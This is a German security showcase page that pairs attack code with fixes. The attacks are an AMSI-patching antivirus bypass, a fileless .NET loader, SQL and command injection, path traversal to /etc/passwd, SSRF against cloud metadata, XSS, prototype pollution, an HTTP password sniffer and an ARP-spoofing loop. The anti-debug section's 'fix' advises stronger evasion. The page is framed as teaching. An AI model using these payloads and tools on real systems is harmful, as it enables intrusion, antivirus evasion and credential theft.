Security Exhibition.

Verstehen, wie Code gebrochen wird, um unbrechbaren Code zu schreiben. Hier präsentiere ich Angriffsvektoren und deren exakte Behebung.

Hier blenden wir Antivirus-Scanner temporär, indem wir die Scan-Funktion `AmsiScanBuffer` direkt im Speicher patchen, sodass sie immer einen Fehler wirft. Ziemlich direkter, aber effektiver Ansatz, um Payload-Scans zu skippen.

amsi_patch_exploit.cpp
// Löst den Pointer auf und überschreibt die Scan-Funktion, sodass sie immer einen Fehler wirft
bool PatchAmsi() {
    HMODULE amsi = LoadLibraryA("amsi.dll");
    if (!amsi) return false;

    auto target = (PBYTE)GetProcAddress(amsi, "AmsiScanBuffer");
    
    // Überschreibe mit: MOV EAX, 0x80070057 (E_INVALIDARG) ; RET
    BYTE patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };

    DWORD old; 
    VirtualProtect(target, sizeof(patch), PAGE_EXECUTE_READWRITE, &old);
    memcpy(target, patch, sizeof(patch));
    VirtualProtect(target, sizeof(patch), old, &old);
    
    return true;
}

Der Fix

Damit dir das nicht passiert, aktivierst du auf OS-Ebene ACG und CIG. Das verbietet dem Prozess rigoros, ausführbaren Speicher dynamisch abzuändern.

mitigation.cpp
// Aktivierung von Process Mitigations beim Prozess-Start
bool EnableProcessMitigations() {
    PROCESS_MITIGATION_DYNAMIC_CODE_POLICY dynamicCodePolicy = {};
    dynamicCodePolicy.ProhibitDynamicCode = 1; // Blockiert PAGE_EXECUTE_READWRITE eiskalt

    // Setzt die Richtlinie für den aktuellen Prozess
    if (!SetProcessMitigationPolicy(ProcessDynamicCodePolicy, 
                                      &dynamicCodePolicy, 
                                      sizeof(dynamicCodePolicy))) {
        return false;
    }
    return true;
}

Ein ziemlicher Klassiker. Hier zeige ich, wie man durch ein simples, ungesichertes `strcpy` den Stack überlaufen lässt. Wir pumpen so viel rein, bis wir die Return-Adresse überschreiben und den Ausführungsfluss kapern.

bof_exploit.cpp
// stack overflow durch zu langen string
void vulnerable_function(char* userInput) {
    char buffer[64];
    
    // strcpy checkt keine grenzen - grober fehler
    strcpy(buffer, userInput);
}

int main(int argc, char** argv) {
    // payload zerschiesst return pointer wenn argv[1] > 64 zeichen hat
    vulnerable_function(argv[1]);
    return 0;
}

Der Fix

Verbanne C-Strings, wo es geht. Nimm einfach sichere `std::string`-Klassen, die den Speicher verwalten. Und natürlich: Stack Canaries (`/GS` Flag) beim Kompilieren niemals vergessen!

bof_fixed.cpp
#include <string>
#include <iostream>

// saubere variante mit modernem c++
void secure_function(const std::string& userInput) {
    // std::string skaliert den speicher automatisch und sicher
    std::string buffer = userInput;
    
    // optionaler check, falls wir max len erzwingen wollen
    if (buffer.length() > 64) {
        std::cout << "input zu lang, blockiert" << std::endl;
        return;
    }
}

Normale AV-Lösungen scannen Dateien auf der Festplatte. Hier zeige ich, wie man eine .NET Assembly komplett im RAM als Byte-Array lädt und direkt ausführt, ohne jemals die Disk zu berühren. Extrem stealthy.

ReflectiveLoader.cs
using System.Reflection;

class Program {
    static void Main() {
        // bytes reinziehen (z.B. aus dem web oder base64 string)
        byte[] maliciousPayload = FetchPayloadBytes(); 
        
        // ausfuehrung direkt aus dem speicher, disk wird umgangen
        Assembly asm = Assembly.Load(maliciousPayload);
        asm.EntryPoint.Invoke(null, new object[] { null });
    }
}

Der Fix

Du musst die Assembly-Load Berechtigungen über strenge AppDomains knebeln oder noch besser direkt Windows Defender Application Control (WDAC) einrichten, das unsignierte in-memory Loads wegblockt.

SecureLoader.cs
using System;
using System.Security;
using System.Security.Permissions;

class SecureEnv {
    public void SetupDomain() {
        // wir bauen eine harte sandbox ohne load rechte auf
        PermissionSet permSet = new PermissionSet(PermissionState.None);
        permSet.AddPermission(new SecurityPermission(SecurityPermissionFlag.Execution));
        
        AppDomainSetup setup = new AppDomainSetup();
        AppDomain sandbox = AppDomain.CreateDomain("Sandboxed", null, setup, permSet);
        
        // Assembly.Load schlaegt in dieser umgebung fehl
    }
}

Passwort vergessen? Kein Problem, wenn die Login-Maske Strings einfach blind per `+` zusammenbaut. Ich zeige hier, wie ein simpler `' OR '1'='1` Payload den Login komplett hebeln kann.

AuthVuln.cs
public bool Login(string username, string password) {
    // gefährliches aneinanderreihen von eingaben ohne filter
    string query = "SELECT * FROM Users WHERE Name = '" + username + 
                   "' AND Pass = '" + password + "'";
    
    // gibt der user als passwort "admin' OR '1'='1" ein, klappt das immer
    SqlCommand cmd = new SqlCommand(query, dbConnection);
    var reader = cmd.ExecuteReader();
    return reader.HasRows;
}

Der Fix

Verbanne String-Concatenation aus SQL-Statements! Nimm stattdessen parametrisierte Abfragen (Prepared Statements). Dann rafft die DB, dass der Payload pure Textdaten sind und kein ausführbarer Befehl.

AuthSecure.cs
public bool SecureLogin(string username, string password) {
    // sauberes statement nutzen, variablen als platzhalter
    string query = "SELECT * FROM Users WHERE Name = @user AND Pass = @pass";
    
    SqlCommand cmd = new SqlCommand(query, dbConnection);
    
    // die datenbank engine escaped diese parameter automatisch sicher
    cmd.Parameters.AddWithValue("@user", username);
    cmd.Parameters.AddWithValue("@pass", password);
    
    var reader = cmd.ExecuteReader();
    return reader.HasRows;
}

Ein extrem gefährliches Ding in Java. Wenn du serialisierte Objekte aus dem Netzwerk ohne Checks direkt wieder in Objekte umbaust (`readObject`), kann man dir Gadget-Chains unterjubeln, die Remote Code ausführen.

VulnerableServer.java
import java.io.ObjectInputStream;
import java.io.InputStream;

public class VulnerableServer {
    public void handleRequest(InputStream networkStream) throws Exception {
        // hier lesen wir einfach das netzwerkzeug und machen direkt ein objekt draus. fehler!
        ObjectInputStream ois = new ObjectInputStream(networkStream);
        Object payload = ois.readObject(); 
        ois.close();
    }
}

Der Fix

Seit Java 9 gibt es dafür `ObjectInputFilter`. Du baust eine Whitelist und erlaubst nur haargenau die Klassen, die du auch wirklich erwartest (z.B. einfache Strings oder ArrayLists). Alles andere wird direkt verworfen.

SecureServer.java
import java.io.ObjectInputStream;
import java.io.ObjectInputFilter;
import java.io.InputStream;

public class SecureServer {
    public void handleRequest(InputStream networkStream) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(networkStream);
        
        // strickter whitelist filter, der nur standard zeug zulaesst
        ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
            "java.lang.String;java.util.ArrayList;!*"
        );
        ois.setObjectInputFilter(filter);
        
        // gadget ketten rennen jetzt direkt gegen die wand
        Object safeData = ois.readObject(); 
        ois.close();
    }
}

Klassischer Local File Inclusion (LFI) Trick. Wenn der Webserver Dateinamen annimmt, werfe ich ihm einfach ein paar `../` an den Kopf, breche aus dem Download-Ordner aus und lese gemütlich die `/etc/passwd`.

FileServer.java
public byte[] getFile(String requestedFile) throws IOException {
    // eigentlich unser base verzeichnis fuer downloads
    String baseDir = "/var/www/downloads/";
    
    // aber requestedFile koennte "../../etc/passwd" sein
    File file = new File(baseDir + requestedFile);
    
    // und boom, file wird ausgeliefert
    return Files.readAllBytes(file.toPath());
}

Der Fix

Immer den Pfad auflösen (mit `normalize()`) und knallhart überprüfen, ob der endgültige, aufgelöste Pfad immer noch mit unserem erlaubten Base-Verzeichnis anfängt. Sonst: 403 Forbidden!

SecureFileServer.java
public byte[] getSecureFile(String requestedFile) throws IOException {
    Path basePath = Paths.get("/var/www/downloads/").normalize();
    Path resolvedPath = basePath.resolve(requestedFile).normalize();
    
    // faengt saemtliche ausbruch-versuche direkt ab
    if (!resolvedPath.startsWith(basePath)) {
        throw new SecurityException("Daeny! Zugriff verweigert");
    }
    
    return Files.readAllBytes(resolvedPath);
}

Die schnellste Art, einen Server komplett zu kompromittieren. Wirft man eine ungeprüfte Usereingabe per String-Formatierung in `os.system()`, kann ich via Semikolon einfach meine eigenen Linux-Commands dranhängen.

vuln_app.py
import os

def ping_host(user_input):
    # anstatt einer IP kommt z.B. "127.0.0.1; cat /etc/passwd"
    command = f"ping -c 1 {user_input}"
    
    # os.system wirft das einfach 1:1 in die bash. danke!
    os.system(command)

Der Fix

Weg von `os.system` und bloß kein `shell=True`. Stattdessen nutzen wir `subprocess` und übergeben den Command mitsamt Parametern als striktes Array. Plus: Input per Regex knallhart auf IPs filtern.

secure_app.py
import subprocess
import re

def ping_host_secure(user_input):
    # 1. pingelig genaues regex, um nur IPs zu erlauben
    if not re.match(r"^\d{1,3}(\.\d{1,3}){3}$", user_input):
        raise ValueError("Invalid IP format.")
        
    # 2. array form blockiert jegliche shell-injections 
    subprocess.run(["ping", "-c", "1", user_input], check=True)

Bei SSRF steuere ich den Server fern. Wenn er stumpf URLs von mir lädt, bringe ich ihn dazu, seine eigenen internen Systeme (z.B. den AWS Metadata-Endpoint `169.254.169.254`) anzufragen und mir die sensiblen Cloud-Token auszuhändigen.

image_fetcher.py
import requests
from flask import request

# ziel waere eigtl: /download?url=http://imgur.com/bild.jpg
# ich sende: /download?url=http://169.254.169.254/latest/meta-data/
def fetch_image():
    user_url = request.args.get('url')
    
    # server macht blind den request im internen netzwerk
    response = requests.get(user_url)
    return response.content

Der Fix

Wir müssen die Domain auflösen und die IP prüfen, bevor der Request überhaupt losgeschickt wird. Fällt die IP in ein privates oder lokales Subnetz (Loopback), ziehen wir sofort den Stecker.

secure_fetcher.py
import ipaddress
import socket
from urllib.parse import urlparse

def is_safe_url(url):
    domain = urlparse(url).hostname
    try:
        # dns aufloesen, um tricks mit 302 redirects zu vermeiden
        ip = socket.gethostbyname(domain)
        ip_obj = ipaddress.ip_address(ip)
        # loopback (127.x) und private netze knallhart filtern
        return not (ip_obj.is_private or ip_obj.is_loopback)
    except:
        return False

Ein extrem fieser JavaScript-Angriff. Durch unsicheres Zusammenführen (Mergen) von Objekten können wir die Basis aller JS-Objekte (`__proto__`) infizieren. Ab da erbt jedes neu erstellte Objekt unseren Schadcode – perfekt für massenhaftes XSS.

pollution.js
// payload zielt direkt auf den objekt stammbaum ab
const payload = '{"__proto__": {"src": "x onerror=alert(1)"}}';

function vulnerableMerge(target, source) {
    for (let key in source) {
        // hier passiert der fehler: keine kontrolle, wohin geschrieben wird
        if (typeof source[key] === 'object') {
            if (!target[key]) target[key] = {};
            vulnerableMerge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
}
vulnerableMerge({}, JSON.parse(payload));

Der Fix

Du musst den Prototyp abriegeln. Entweder verbietest du bei der Merge-Funktion direkt Keys wie `__proto__` und `constructor`, oder du frierst `Object.prototype` komplett mit `freeze()` ein, sodass es Read-Only wird.

secure_merge.js
// sicherungsebene 1: root object read-only machen
Object.freeze(Object.prototype);

function secureMerge(target, source) {
    for (let key in source) {
        // sicherungsebene 2: giftige eigenschaften rausfiltern
        if (key === '__proto__' || key === 'constructor') {
            continue; 
        }
        if (typeof source[key] === 'object') {
            if (!target[key]) target[key] = {};
            secureMerge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
}

Ein Klassiker im Frontend. Man nimmt Parameter direkt aus der URL und klatscht sie via `innerHTML` auf die Seite. Der Browser führt dann mein mitgeliefertes Script (z.B. in einem defekten Image-Tag) ohne Fragen aus.

greet.js
const urlParams = new URLSearchParams(window.location.search);
const name = urlParams.get('name');

// opfer klickt auf link mit ?name=<img src=x onerror=alert('hacked')>
// landet direkt und ungesichert im dom
document.getElementById('greeting').innerHTML = "Hallo " + name + "!";

Der Fix

Ganz einfache Regel: Benutze für textuellen User-Input niemals `innerHTML`. Ein Wechsel auf `textContent` reicht oft völlig aus, da der Browser HTML-Tags hier als harmlosen Text und nicht als Code interpretiert.

greet_secure.js
const urlParams = new URLSearchParams(window.location.search);
const name = urlParams.get('name');

// textContent ist hier der lebensretter
// es verarbeitet die tags als simplen zeichensalat, zero execution.
document.getElementById('greeting').textContent = "Hallo " + name + "!";

Wie man Crackmes am schnellsten besiegt? Einfach reinschauen. Viele Entwickler backen ihre Passwörter fest ins C-Programm ein. Ein kurzer Scan über die kompilierten Binary-Strings, und wir haben das Passwort im Klartext vor uns.

crackme_analysis.asm
; programm vergleicht unsere eingabe mit einem fixen string
; 0x0040120A: CALL strcmp

; also scannen wir die windows-binary per terminal auf strings durch:
$ strings crackme.exe | grep "admin"

Admin_Secret_Pwd123!
Access Granted
Invalid Password

Der Fix

Das Einmaleins der Sicherheit: Niemals Passwörter im Klartext einkompilieren. Immer hashen (z.B. mit SHA-256 oder Argon2) und einen starken Salt verwenden. Der Angreifer findet dann maximal einen unbrauchbaren Zeichensalat.

secure_auth.c
// im code lagert nur der berechnete, sichere hash
const char* expected_hash = "e3b0c44298fc1c149afbf4c8996fb924...";

void check_pwd(const char* input) {
    // eingabe hashen und dann mit unserem hash abgleichen
    char* input_hash = calculate_sha256(input);
    
    if (strcmp(expected_hash, input_hash) == 0) {
        grant_access();
    }
}

Oft versuchen Malware-Entwickler, Analysten abzuwehren, indem das Programm prüft, ob ein Debugger mitläuft (via `IsDebuggerPresent`). Ich lade die Binary in x64dbg und patche den Jump-Befehl von `JZ` (Jump if Zero) einfach auf `JNZ` (Jump if Not Zero), um die Logik komplett umzudrehen.

anti_debug_patch.asm
; originaler code in der malware:
CALL kernel32.IsDebuggerPresent
TEST EAX, EAX
; wir aendern JNZ (75 XX) auf JZ (74 XX), um den schutz auszutricksen
JZ continue_execution  

; malware killt sich sonst selbst
CALL kernel32.ExitProcess

Der Fix

Anstatt sich auf ein simples API-Call wie `IsDebuggerPresent` zu verlassen, sollte man tiefere Checks nutzen (z.B. das Lesen des PEB direkt aus dem Thread Environment Block) oder Code-Obfuscation betreiben.

Man-in-the-Middle im lokalen Netz. Wenn Server immer noch unverschlüsseltes HTTP ausliefern, nutze ich einfach Scapy in Python, um Pakete lautlos abzufangen und Passwörter astrein in Klartext mitzulesen.

sniffer.py
from scapy.all import sniff
from scapy.layers.http import HTTPRequest

def process_packet(packet):
    # hoeren auf puren http traffic am port 80
    if packet.haslayer(HTTPRequest):
        payload = packet[HTTPRequest].payload
        if payload:
            raw_data = payload.original.decode('utf-8', 'ignore')
            # scannen nach typischen login feldern im payload
            if "password=" in raw_data or "username=" in raw_data:
                print("[*] Jackpoooot:", raw_data)

# netzwerk interface in den promiscuous mode setzen
sniff(iface="eth0", store=False, prn=process_packet)

Der Fix

Es gibt 2026 keine Ausrede mehr für Port 80. Alle Dienste zwingend auf HTTPS (TLS 1.3) umstellen und HSTS aktivieren. Dann kriegt mein Sniffer nur noch verschlüsseltes Rauschen zu sehen.

nginx.conf
# HTTP anfragen rigoros auf HTTPS weiterleiten
server {
    listen 80;
    server_name beispiel.de;
    return 301 https://$server_name$request_uri;
}

# modernes TLS setup mit HSTS erzwingen
server {
    listen 443 ssl http2;
    ssl_protocols TLSv1.2 TLSv1.3;
    add_header Strict-Transport-Security "max-age=31536000" always;
}

Wie kriege ich den Traffic meiner Zielperson überhaupt auf meinen Rechner? Durch ARP Spoofing. Ich bombardiere den Router und das Opfer mit gefälschten ARP-Paketen, bis beide denken, meine MAC-Adresse gehört dem jeweils anderen.

arp_poison.py
from scapy.all import ARP, send

# wir sagen dem opfer (192.168.1.10), dass wir der router (192.168.1.1) sind
poison_target = ARP(op=2, pdst="192.168.1.10", psrc="192.168.1.1", hwdst="aa:bb:cc:dd:ee:ff")

# und dem router erzaehlen wir, wir waeren das opfer
poison_router = ARP(op=2, pdst="192.168.1.1", psrc="192.168.1.10", hwdst="11:22:33:44:55:66")

# endlose schleife, damit die tabellen manipuliert bleiben
while True:
    send(poison_target, verbose=False)
    send(poison_router, verbose=False)

Der Fix

In professionellen Netzwerken nutzt man Dynamic ARP Inspection (DAI) am Switch, was solche Pakete blockt. Zuhause hilft statisches Eintragen von wichtigen ARP-Einträgen oder ein VPN.